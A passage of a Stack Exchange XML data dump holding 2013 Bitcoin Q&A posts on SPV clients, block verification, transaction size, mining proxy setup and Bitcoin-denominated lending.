  <row Id="12325" PostTypeId="1" CreationDate="2013-07-24T14:42:26.817" Score="0" ViewCount="117" Body="&lt;p&gt;At a recent NYC Bitcoin meetup, a morally-pacifist, outspoken supporter of Bitcoin said that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Bitcoin would prevent the deficit financing of wars&quot; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...alluding to his perceived notion that a Bitcoin economy would prevent wars from being funded and started.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this a prevailing thought in the Bitcoin community?   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.logicalfallacies.info/&quot; rel=&quot;nofollow&quot;&gt;What way of thinking&lt;/a&gt; makes this statement appear true?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What aspects of this quote has merit?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2024-04-01T18:13:59.670" Title="In what ways could Bitcoin prevent &quot;deficit financing of wars&quot;?" Tags="|economic-theory|community|" AnswerCount="2" CommentCount="0" ClosedDate="2013-09-11T21:40:24.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="12326" PostTypeId="2" ParentId="12325" CreationDate="2013-07-24T16:10:04.617" Score="1" Body="&lt;p&gt;There are two meanings to &quot;deficit financing&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Funding something by minting new currency.&lt;/li&gt;&#xA;&lt;li&gt;Funding something by borrowing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Obviously, you can't change how fast you mint Bitcoins. Perhaps that's what he meant. &lt;a href=&quot;https://en.wikipedia.org/wiki/Reichsmark#Great_Depression&quot; rel=&quot;nofollow&quot;&gt;It tends to not be very useful, though.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's very possible to have debts denominated in Bitcoin, just as you can have debts denominated in silver or gold. In the &lt;a href=&quot;http://en.wikipedia.org/wiki/France_in_the_Seven_Years%27_War&quot; rel=&quot;nofollow&quot;&gt;Seven Year's War&lt;/a&gt;, which lasted from 1754 to 1763, France ran up quite a lot of debt, and they didn't need any of your fancy financial institutions to do it.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-07-24T16:10:04.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12327" PostTypeId="1" CreationDate="2013-07-24T22:31:43.670" Score="2" ViewCount="531" Body="&lt;p&gt;Multibit is clearly a faster desktop wallet since it's a thin client that doesn't download and process the entire *8GB blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what service does Multibit connect to in order to process transactions? Are there security concerns to be aware of compared to using a thick client with its own blockchain? What benefits are there using a thick client (like Bitcoin-QT) compared to a thin client?&lt;/p&gt;&#xA;" OwnerUserId="6057" LastActivityDate="2013-07-25T00:51:46.857" Title="What service does Multibit connect to?" Tags="|client|thin-clients|" AnswerCount="1" CommentCount="0" ClosedDate="2013-10-11T18:39:13.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="12328" PostTypeId="2" ParentId="12327" CreationDate="2013-07-25T00:51:46.857" Score="1" Body="&lt;p&gt;Multibit uses SPV, which is a peer-to-peer protocol consisting of two parts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It downloads the block headers from peers (not the whole block). This allows it to verify that the blocks have a lot of hashing power behind them, and get the merkle root for each of them.&lt;/li&gt;&#xA;&lt;li&gt;It asks peers for transactions matching the addresses it cares about. It can verify that the transactions belong to one of the blocks it knows about by using the merkle root.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability#Simplified_payment_verification&quot; rel=&quot;nofollow&quot;&gt;See here for a discussion of the security tradeoffs.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5892" LastActivityDate="2013-07-25T00:51:46.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12329" PostTypeId="2" ParentId="12236" CreationDate="2013-07-25T01:52:20.200" Score="0" Body="&lt;p&gt;I use 2 .sh files from teh desktop, one for the proxy to start for Burnside's pool, the other to start the miner.  The basic command is this one line ( as it runs in terminal in Ubuntu 12.04 ) after using CD ( directory ) to get to where I unpacked the proxy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./mining_proxy.py -o ltc-stratum.kattare.com -p 3333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The next .SH file also used cd .... to get to where I unpaced my miner, teh minerd command is as follows &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd -a scrypt -o 127.0.0.1:8333 -O nybbler905.1:x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Port 8332 ( local ) is &lt;strong&gt;getwork unless otherwise set for the proxy&lt;/strong&gt;.  The other errors are related to not fully installing python and then the proxy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sudo python setup.py install&#xA;./mining_proxy.py --help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do not get the help info, look in to re-re-re-installing python and the proxy.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastEditorUserId="6218" LastEditDate="2014-09-20T03:30:05.200" LastActivityDate="2014-09-20T03:30:05.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12330" PostTypeId="1" AcceptedAnswerId="12446" CreationDate="2013-07-25T02:37:29.890" Score="3" ViewCount="1816" Body="&lt;p&gt;Rather - how does &lt;code&gt;SatoshiDice&lt;/code&gt; do it? I know it's not proper format and people advise against it, but how is it technically possible?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-08-01T00:43:19.453" Title="How can I tell what input address sent me coin?" Tags="|bitcoind|satoshidice|raw-transaction|" AnswerCount="1" CommentCount="0" ClosedDate="2013-08-12T02:43:18.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="12331" PostTypeId="2" ParentId="12104" CreationDate="2013-07-25T02:38:03.673" Score="0" Body="&lt;p&gt;The simple solution is to copy and rename the command so you run 2 separate instances of the same command.  The other option is seeing if adding &lt;code&gt; -threads=2&lt;/code&gt; ACTUALLY does let you use both cards.  I have had issues where the threads were CPU threads and not cards and times it ' just worked ' on the same system.  running the command twice had it run 2 instances one per card and seemingly random which card was first every once in a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a XP box for CUDA mining on dual ( not connected ) 8600 GT cards and used GUIMiner Script to find out what batch files were created for each ( as new CUDA miners for litecoin ).  With some tweaking, they can do BTC or LTC mining.  What little time I have used rpcminer ( and hair pulling ) it seemed to ' kinda work ' when I ran it twice to get both cards mining as separate cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to the profitability of GPU mining... I still have a ' day job ' and am looking at investing in ASIC miners for BTC.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastEditorUserId="97" LastEditDate="2013-09-26T12:54:22.813" LastActivityDate="2013-09-26T12:54:22.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12332" PostTypeId="2" ParentId="12102" CreationDate="2013-07-25T02:46:16.520" Score="0" Body="&lt;p&gt;The simple answer is getwork is a miner that does its hashes and &quot;gets work&quot; from the pool. With getworktemplate the miner isn't limited to how much work it can do per second for mining. This is for Bitcoin mining. The current mining of Bitcoins has ASIC miners that can do more than 4 GHash of mining per second which doesn't leave a lot of work for the current getwork protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastEditorDisplayName="user3930" LastEditDate="2013-07-25T18:38:02.687" LastActivityDate="2013-07-25T18:38:02.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12333" PostTypeId="1" CreationDate="2013-07-25T05:00:59.027" Score="6" ViewCount="7329" Body="&lt;p&gt;I'm trying to get a grasp on which items the network is responsible for validating / enforcing.  If I understand correctly, when a new block is received, the recipient needs to verify the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the block hash - i.e. that the hash of the header, including prev. block hash, Merkle Root hash, time, target, and nonce is correct, and that its value is less than the target.&lt;/li&gt;&#xA;&lt;li&gt;the target - needs to equal the current (difficulty) target.&lt;/li&gt;&#xA;&lt;li&gt;the hash of the prev. block - must be correct, and must &quot;point to&quot; the end of the currently &quot;longest&quot; (most difficult) chain.&lt;/li&gt;&#xA;&lt;li&gt;all the transactions in the block.  This seems like it would involve:  looking up the input txn's of the current txn's by their hashes, and running the appropriate sigScript + pubKeyScript pairs.  Also verifying for each txn that sum(inputs) &gt;= sum(outputs).&lt;/li&gt;&#xA;&lt;li&gt;the coinbase transaction. sum(outputs) &gt;= the &quot;change&quot; left by all the other current txn's.&lt;/li&gt;&#xA;&lt;li&gt;hash of the Merkle Root.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Questions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Have I missed anything?  (timestamp?)&lt;/li&gt;&#xA;&lt;li&gt;This seems like a lot of work!  Particularly scanning through the entire blockchain to find the input transactions. (Though I suppose the client could build an index once on start-up.)  My understanding is that at least #4 is optional - a node could choose to assume that it's been done by somebody else.  As the blockchain grows larger &amp;amp; larger, wouldn't it become less feasible for individual nodes to do all this work every 10min, resulting in fewer verifications being done?&lt;/li&gt;&#xA;&lt;li&gt;Does a node have to verify every block (and thus every txn) when it first downloads the chain?  It's one thing to verify all the block hashes, but a new node without any history wouldn't know if the contents were valid - only that X amount of work had gone into solving the blocks.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6081" LastEditorUserId="54337" LastEditDate="2017-07-12T19:09:51.840" LastActivityDate="2020-06-25T17:11:44.163" Title="What is the block verification procedure, and will it ever become too expensive?" Tags="|block|verification|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12334" PostTypeId="1" AcceptedAnswerId="12336" CreationDate="2013-07-25T07:22:17.720" Score="3" ViewCount="1474" Body="&lt;p&gt;I'm looking at blockchain.info's FAQ page, and they describe the wallet creation scheme here: &lt;a href=&quot;https://blockchain.info/wallet/technical-faq&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/technical-faq&lt;/a&gt; (please scroll down to the &lt;strong&gt;&lt;em&gt;Please describe the wallet creation routine.&lt;/em&gt;&lt;/strong&gt; section)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because their wallet encoding tool is in Javascript, which is clientside, the user can trust that the encryption key cannot be on the server because Javascript must be all clientside code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any server side method in which the site could maliciously collect this data, therefore compromising blockchain.info's integrity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could blockchain.info suddenly change a line of code in their javascript, for say, a few minutes, and begin storing the pre-encrypted data into their servers without many people noticing? They could use this method to collect private keys from random samples of people, and would likely get away with it.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="6024" LastEditDate="2013-07-25T07:43:56.490" LastActivityDate="2013-07-25T08:16:23.847" Title="does blockchain.info have everyone's private key?" Tags="|transactions|blockchain|wallet|client|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12335" PostTypeId="1" AcceptedAnswerId="12337" CreationDate="2013-07-25T07:42:01.657" Score="6" ViewCount="186" Body="&lt;p&gt;Blocks are made up mostly of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the larger the transaction output is in coins, the greater the transaction size must be because it must list all previous transaction inputs that lead up to this transaction and add up to the net output of this specific transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other factor I might not have accounted for that increases transaction size or block size?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="5406" LastEditDate="2015-05-08T10:03:59.297" LastActivityDate="2015-05-08T10:03:59.297" Title="what is the primary factor responsible for the increase of block size?" Tags="|transactions|blocksize|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12336" PostTypeId="2" ParentId="12334" CreationDate="2013-07-25T08:16:23.847" Score="3" Body="&lt;p&gt;No, they have everyones &lt;strong&gt;encrypted&lt;/strong&gt; private key. The private key get's decrypted locally on your client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course they could change some lines of code and collect your private key. But this is true for every bitcoin client (thin client or not). That's why it is important to get the client binaries from trusted sources (and deterministic build).&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-07-25T08:16:23.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12337" PostTypeId="2" ParentId="12335" CreationDate="2013-07-25T08:23:36.727" Score="5" Body="&lt;p&gt;The primary driver of Block size is the number of transactions. Below is the structure of a block and the size of each part in the block.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Magic no, 4 bytes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Blocksize, 4 bytes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Blockheader, 80 bytes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Transaction counter, 1 - 9 bytes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Transactions, -many transactions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only part of a block with a variable size is the transactions part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks&quot;&gt;https://en.bitcoin.it/wiki/Blocks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're exploring the scalability of Bitcoin, see: &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability#Storage&quot;&gt;https://en.bitcoin.it/wiki/Scalability#Storage&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-07-25T08:23:36.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12339" PostTypeId="1" CreationDate="2013-07-25T09:10:13.840" Score="2" ViewCount="183" Body="&lt;p&gt;I want to create a counter in my store displaying the number of units sold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not using a shopping cart, but simply placing a bitpay button.  I'm wondering if there is a way to query the blockchain, that will return the number of transactions sent to an address, over a given time period.&lt;/p&gt;&#xA;" OwnerUserId="4923" LastEditorUserId="516" LastEditDate="2013-07-29T02:10:34.877" LastActivityDate="2013-07-29T02:10:34.877" Title="Is there a simple method of tracking number of transactions sent to an address?" Tags="|blockchain|bitpay|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12340" PostTypeId="1" AcceptedAnswerId="12343" CreationDate="2013-07-25T17:12:28.897" Score="0" ViewCount="442" Body="&lt;p&gt;Let's say I create an address that has a balance of &lt;code&gt;x&lt;/code&gt; bitcoins, where &lt;code&gt;x&lt;/code&gt; is the minimum transaction amount before prompting a fee. Hypothetically this address is used as a permanent cryptographically secure mechanism that sends itself &lt;code&gt;x&lt;/code&gt; coins at certain points which have some significance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will miners mine this transaction over and over or will it eventually be ignored by the network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this transaction be readable by parsing the blockchain, or is it handled differently? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this transaction ever eventually incur fees and thus never be put into a block (since the wallet will never own more than &lt;code&gt;x&lt;/code&gt; BTC)?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="5406" LastEditDate="2016-04-28T13:22:41.420" LastActivityDate="2016-04-28T13:22:41.420" Title="Repeatedly sending coins from an address to itself" Tags="|transactions|blockchain|wallet|transaction-fees|mining-theory|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12341" PostTypeId="2" ParentId="12339" CreationDate="2013-07-25T18:38:08.050" Score="2" Body="&lt;p&gt;Assuming you have Bitcoin-Qt in use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;open the debug window and go to its 'console' view&lt;/li&gt;&#xA;&lt;li&gt;issue the command &lt;em&gt;listaccounts&lt;/em&gt; and from the output select an account name &lt;/li&gt;&#xA;&lt;li&gt;use that name to issue a &lt;i&gt;listtransactions your_account_name&lt;/i&gt; command&lt;/li&gt;&#xA;&lt;li&gt;in the output count the occurances of &lt;i&gt;&quot;category&quot; : &quot;receive&quot;&lt;/i&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These same commands are available through the RPC interface of Bitcoin-Qt, so that is how you can script the above.&lt;/p&gt;&#xA;" OwnerUserId="5837" LastActivityDate="2013-07-25T18:38:08.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12342" PostTypeId="2" ParentId="10472" CreationDate="2013-07-25T18:48:18.690" Score="2" Body="&lt;p&gt;I Would not be surprised if they collect cash up front for many orders, create a production run which takes 30 days, mine the units for 30 days, and then deliver. That's how I would maximize profit. They take no risk, but having the consumers pay for the costs (and more), they then have many many machines to mine or &quot;perform QA (Quality Analysis) to make sure they work correctly while profiting them. After that, they package the units and send them to the consumer. If there's a spike it bitcoin value, I'm guessing the &quot;QA&quot; takes longer while mining is more profitable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a speculation, but being a business owner, and having run production runs and QA through factories all over the world, this just makes sense to me.&lt;/p&gt;&#xA;" OwnerUserId="6092" LastActivityDate="2013-07-25T18:48:18.690" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12343" PostTypeId="2" ParentId="12340" CreationDate="2013-07-25T19:25:13.107" Score="4" Body="&lt;p&gt;Nodes don't check the history of a coin or address to determine whether to include or propagate it, so it will be possible to send coins from an address to itself multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the priority of a transaction depends on how aged its inputs are. If you try to do it too frequently, you'll be using young inputs, lowering the priority and making a fee necessary.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-07-25T19:25:13.107" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12344" PostTypeId="2" ParentId="12339" CreationDate="2013-07-25T19:27:01.467" Score="3" Body="&lt;p&gt;You can see the number of transactions for a Bitcoin address. That's easy. Either through a desktop wallet(Like Bitcoin QT) or using services like blockchain.info. Just search for an address there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't do this for your site thought because you're using Bitpay and they provide a unique address for each payment to your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you weren't using Bitpay, you would need to generate a unique address for each purchase on your site to be able to figure out which customer paid how much and when.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could take an aggregate of the transactions and display them along with each unique address you used but I would &lt;strong&gt;strongly&lt;/strong&gt; advise against it. Because then people could &lt;em&gt;easily&lt;/em&gt; trace where you spend the Bitcoins that your customers paid you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try getting the number from your accounting records instead of trying to get it from Bitcoin payments ;)&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-07-25T19:27:01.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12345" PostTypeId="2" ParentId="9858" CreationDate="2013-07-25T23:23:26.310" Score="0" Body="&lt;p&gt;From a purely monetary perspective the difference between a fiat currency and Bitcoin is that Bitcoin does not have a central bank (this was a main goal of Satoshi Nakamoto as we can read &lt;a href=&quot;http://p2pfoundation.ning.com/forum/topics/bitcoin-open-source&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). A central bank can create new money just by printing it, which causes inflation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think of a fiat currency where the central bank decides not to increase the money supply (didn't happen often historically), it would resemble Bitcion (note: only from a monetary perspective, not technologically). But when there are banks or other ways to grant loans two things happen. First, there is an increased demand for money for the interest payment. Second, the money that has been borrowed is either directly deposited at a bank or taken to purchase something and then deposited at a bank by the buyer. The bank can (and most likely will) take this money to grant a new loan which in turn increases the money supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the money supply is increased through loans, it will cover for the increased money demand from interest payments. My co-founder and I run the Bitcoin peer to peer lending platform &lt;a href=&quot;https://www.bitbond.net/&quot; rel=&quot;nofollow&quot;&gt;Bitbond.net&lt;/a&gt; where loans are granted, but without a bank. Some other sites essentially also grant loans. Such services won't be hurt by the finite number of Bitcoins because the loans increase the money supply sufficiently.&lt;/p&gt;&#xA;" OwnerUserId="5793" LastActivityDate="2013-07-25T23:23:26.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12346" PostTypeId="2" ParentId="9858" CreationDate="2013-07-25T23:32:47.453" Score="0" Body="&lt;p&gt;a few facts and ideas on the topic :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;bitcoin is not an inflation/debt based economic system, its based on &lt;a href=&quot;https://en.bitcoin.it/wiki/Deflationary_spiral&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Deflationary_spiral&lt;/a&gt; and encourages savings, not borrowing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;bitcoin debt ( and even more shorting bitcoin ) is really dangerous, many btc loans have already been given on #bitcoin-otc, but everyone knows its real dangerous ( and possibly even more for the borrower than for the lender ).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if what you say happens, the value of bitcoin will grow even more, and people will borrow smaller amounts ( valued more ) with time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastActivityDate="2013-07-25T23:32:47.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12347" PostTypeId="2" ParentId="9858" CreationDate="2013-07-26T03:15:53.613" Score="0" Body="&lt;p&gt;The short answer is no. You can't run out of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many people make their mortgage payments using dollar bills? Almost nobody. So you don't have to worry about running out of dollar bills preventing people from paying their mortgage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I owe a bank 100 Bitcoins, all they care is that they get something they value at 100 Bitcoins. It doesn't have to be &quot;real&quot; Bitcoins on the block chain. It can just as well be a &quot;check&quot; for 100 Bitcoins from some organization they trust, and then they only have to settle the difference with that organization. They can even settle the difference in dollars or gold. It doesn't matter.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-07-26T03:15:53.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12348" PostTypeId="1" CreationDate="2013-07-26T04:10:48.873" Score="2" ViewCount="468" Body="&lt;p&gt;I was looking over the &lt;a href=&quot;https://en.bitcoin.it/wiki/Abe&quot; rel=&quot;nofollow&quot;&gt;Abe&lt;/a&gt; code once again, and came to a stumbling point. I can't understand how this is accurate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tx['size'] = len(tx['tx'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Transaction size is simply the length of the raw transaction string? I did not think that 1 character of that string was equal to one byte. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: while tinkering around with this with a simple python command line program, I was able to determine that the block size is actually half of the raw transaction string length. I also found out this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Hexadecimal&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Hexadecimal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each hexadecimal digit represents four binary digits (bits), and the primary use of hexadecimal notation is a human-friendly representation of binary-coded values in computing and digital electronics. One hexadecimal digit represents a nibble, which is half of an octet or byte (8 bits).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Though it still doesn't answer the question, why isn't the size divided by two in the ABE source code?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="105" LastEditDate="2013-07-26T08:56:01.253" LastActivityDate="2018-08-22T19:01:15.733" Title="How does Abe or any blockchain explorer determine transaction size?" Tags="|transactions|blockchain|abe|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12350" PostTypeId="2" ParentId="1426" CreationDate="2013-07-26T08:57:33.857" Score="-2" Body="&lt;p&gt;&lt;a href=&quot;https://www.coinlenders.com/&quot; rel=&quot;nofollow&quot;&gt;coinlenders.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;filling 30 chars with blank blank blank...&lt;/p&gt;&#xA;" OwnerUserId="6096" LastEditorUserId="105" LastEditDate="2013-07-26T09:44:05.450" LastActivityDate="2013-07-26T09:44:05.450" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12351" PostTypeId="2" ParentId="10472" CreationDate="2013-07-26T09:55:51.920" Score="1" Body="&lt;p&gt;Gather too much hashing power in your hands, and you compromise the security of the Bitcoin network. If security of the network is compromised, the price of bitcoin falls through the floor, and no matter how much you can mine (or manipulate the network into giving you) you end up with millions of worthless bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's much smarter to distribute the hashing power between the users, keeping bitcoin price high, and earn cash for the product. With Bitcoin, as opposed to normal capitalist markets, monopoly is disastrous to the whole market including the monopoly owner, so any enterprise aware of approaching the status of monopoly will actively fight reaching it - for example, selling a part of their processing power.&lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2013-07-26T09:55:51.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12352" PostTypeId="1" CreationDate="2013-07-26T15:58:41.370" Score="2" ViewCount="167" Body="&lt;p&gt;Are there many users of Bitcoins in Asian countries ?  I am from Malaysia.&#xA;If there are, I would like to give it a try too.&lt;/p&gt;&#xA;" OwnerUserId="6099" LastActivityDate="2013-08-26T06:16:54.717" Title="Are there Bitcoin users in Asia especially Southeast Asia ? I'm from Malaysia" Tags="|news-coverage|" AnswerCount="1" CommentCount="2" ClosedDate="2013-09-15T14:02:36.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="12353" PostTypeId="2" ParentId="12352" CreationDate="2013-07-26T16:55:32.070" Score="0" Body="&lt;p&gt;At LocalBitcoins.com you find some Malaysian traders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/country/MY&quot; rel=&quot;nofollow&quot;&gt;Malyasian LocalBitcoins.com trades country listing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is &lt;a href=&quot;https://localbitcoins.com/forums/#!/regional/asia&quot; rel=&quot;nofollow&quot;&gt;Asian specific discussion forum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-07-26T16:55:32.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12354" PostTypeId="2" ParentId="10402" CreationDate="2013-07-26T18:25:18.443" Score="2" Body="&lt;p&gt;The answer to the question also depends on the country. In Germany a new cooperation between the German Bitcoin exchange bitcoin.de and Fidor bank just started (read about it &lt;a href=&quot;https://blog.bitcoin.de/en&quot; rel=&quot;nofollow&quot;&gt;in this blog post&lt;/a&gt;). Apparently Fidor bank even plans to display a Euro and a Bitcoin account balance. That's as Bitcoin friendly as a bank can get I'd say.&lt;/p&gt;&#xA;" OwnerUserId="5793" LastActivityDate="2013-07-26T18:25:18.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12355" PostTypeId="2" ParentId="1426" CreationDate="2013-07-26T18:47:08.543" Score="1" Body="&lt;p&gt;My co-founder and I run the site &lt;a href=&quot;https://www.bitbond.com/&quot; rel=&quot;nofollow&quot;&gt;Bitbond&lt;/a&gt; where you can finance Bitcoin loans (Bitbonds) of other people who present their funding project on our marketplace. That way you can earn interest on your Bitcoins. Technically this resembles a bank since we also offer a secure wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is easily possible to start a Bitcoin based bank. You would simply take Bitcoin deposits and grant loans to other customers who will pay interest on these loans making a margin from the interest rate spread. Then you would have what you ask for, an account where you earn interest on your deposits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't believe this is a good thing. One of the main reasons why the fiat banking system is in such huge trouble is that they take short term money (their client's deposits) and lend it out long term (for loans, mortgages etc.). When people who lent money to the bank through their deposits want to withdraw their money earlier and in a larger extent than expected, banks get into huge trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There used to be a golden rule of banking that basically said to match maturities. Long term loans should be refinanced long term. But fiat banks don't stick to this rule anymore for a long time. It's just more profitable to take cheap short term deposits and put them in long term assets. But it makes the whole financial system sink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to cut it short. Yes a Bitcoin bank is easily possible but we, the users of Bitcoin, are better advised to stick to the golden rule of banking. That's what happens at peer to peer lending. &lt;/p&gt;&#xA;" OwnerUserId="5793" 